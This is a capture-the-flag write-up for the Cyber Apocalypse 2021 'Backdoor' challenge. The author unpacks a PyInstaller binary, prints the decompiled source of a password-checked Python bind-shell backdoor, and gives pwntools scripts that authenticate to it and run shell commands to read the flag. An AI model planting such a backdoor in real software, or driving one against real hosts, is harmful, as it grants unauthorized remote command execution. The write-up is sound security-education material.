# Cyber Apocalypse 2021 Backdoor Write Up
## Details:Points: 300
Jeopardy style CTF
Category: Reverse Engineering
Comments:
```One of our friends has left a backdoor on the extraterrestrials' server. If we manage to take advantage of it, we will be able to control all the doors and lock them outside or open doors to facilites we have no access.This challenge will raise 43 euros for a good cause.```
## Write up:
After extracting the .zip file we see a file named bd. Running strings on it we see some interesting stuff:
```strings bd | grep python
b_asyncio.cpython-38-x86_64-linux-gnu.sob_bz2.cpython-38-x86_64-linux-gnu.sob_codecs_cn.cpython-38-x86_64-linux-gnu.sob_codecs_hk.cpython-38-x86_64-linux-gnu.sob_codecs_iso2022.cpython-38-x86_64-linux-gnu.sob_codecs_jp.cpython-38-x86_64-linux-gnu.sob_codecs_kr.cpython-38-x86_64-linux-gnu.sob_codecs_tw.cpython-38-x86_64-linux-gnu.sob_contextvars.cpython-38-x86_64-linux-gnu.sob_ctypes.cpython-38-x86_64-linux-gnu.sob_decimal.cpython-38-x86_64-linux-gnu.sob_hashlib.cpython-38-x86_64-linux-gnu.sob_lzma.cpython-38-x86_64-linux-gnu.sob_multibytecodec.cpython-38-x86_64-linux-gnu.sob_multiprocessing.cpython-38-x86_64-linux-gnu.sob_opcode.cpython-38-x86_64-linux-gnu.sob_posixshmem.cpython-38-x86_64-linux-gnu.sob_queue.cpython-38-x86_64-linux-gnu.sob_ssl.cpython-38-x86_64-linux-gnu.soblibpython3.8.so.1.0bmmap.cpython-38-x86_64-linux-gnu.sobreadline.cpython-38-x86_64-linux-gnu.sobresource.cpython-38-x86_64-linux-gnu.sobtermios.cpython-38-x86_64-linux-gnu.soxinclude/python3.8/pyconfig.hxlib/python3.8/config-3.8-x86_64-linux-gnu/Makefile&libpython3.8.so.1.0```
This means that this file is a python .pyc compiled with pyinstaller. This was confirmed by running binwalk and seeing a zip archive inside containing the pyinstaller includes. Since this is a linux executable and not an exe we cannot just use the basic tools. First we need to extract the .pyc data. This is done by running:
```objcopy --dump-section pydata=pydata.dump ./bd ```
We can then run one of the many pyinstaller extractors, I used pyinstxtractor, https://github.com/extremecoders-re/pyinstxtractor (make sure to use the python version it was compiled with):
```python3.8 ./pyinstxtractor/pyinstxtractor.py pydata.dump
[+] Processing pydata.dump[+] Pyinstaller version: 2.1+[+] Python version: 38[+] Length of package: 6994886 bytes[+] Found 45 files in CArchive[+] Beginning extraction...please standby[+] Possible entry point: pyiboot01_bootstrap.pyc[+] Possible entry point: pyi_rth_multiprocessing.pyc[+] Possible entry point: bd.pyc[+] Found 223 files in PYZ archive[+] Successfully extracted pyinstaller archive: pydata.dump
You can now use a python decompiler on the pyc files within the extracted directory
```
We now see the bd.pyc file, after decompilation we get:
```pythonimport socketfrom hashlib import md5from subprocess import check_outputsock = socket.socket()sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.bind(('0.0.0.0', 4433))sock.listen(5)while True:    client, addr = sock.accept()    data = client.recv(32)    if len(data) != 32:        client.close()    elif data.decode() != md5('s4v3_th3_w0rld').hexdigest():        client.send('Invalid')        client.close()    else:        size = client.recv(1)        command = client.recv(int.from_bytes(size, 'little'))        if not command.startswith('command:'):            client.close()        else:            command = command.replace('command:', '')            output = check_output(command, shell=True)            client.send(output)            client.close()```
We see that we need to connect, then send the md5, then the length of whatever command, then "command:\<command to send\>".
So the first script we send ls to see what is on the system:
```python# import pwntoolsfrom pwn import *
# command to sendcommand = 'command:ls'
# connections = remote("138.68.179.198", 30791)
# send the md5s.send('e2162a8692df4e158e6fd33d1467dfe0')
# send length of commands.send(chr(len(command)))
# send commands.send(command)
# read responsesprint(s.recvline())print(s.recvline())print(s.recvline())print(s.recvline())print(s.recvline())print(s.recvline())print(s.recvline())print(s.recvline())```
The response from this is:
```[+] Opening connection to 138.68.179.198 on port 30791: Doneb'bd.py\n'b'bin\n'b'dev\n'b'etc\n'b'flag.txt\n'b'home\n'b'lib\n'b'media\n'```
We then read the flag:
```python# import pwntoolsfrom pwn import *
# command to sendcommand = 'command:cat flag.txt'
# connections = remote("138.68.179.198", 30791)
# send the md5s.send('e2162a8692df4e158e6fd33d1467dfe0')
# send length of commands.send(chr(len(command)))
# send commands.send(command)
# read responsesprint(s.recvline())```
```[+] Opening connection to 138.68.179.198 on port 30791: Doneb'CHTB{b4ckd00r5_4r3_d4nG3r0u5}\n'```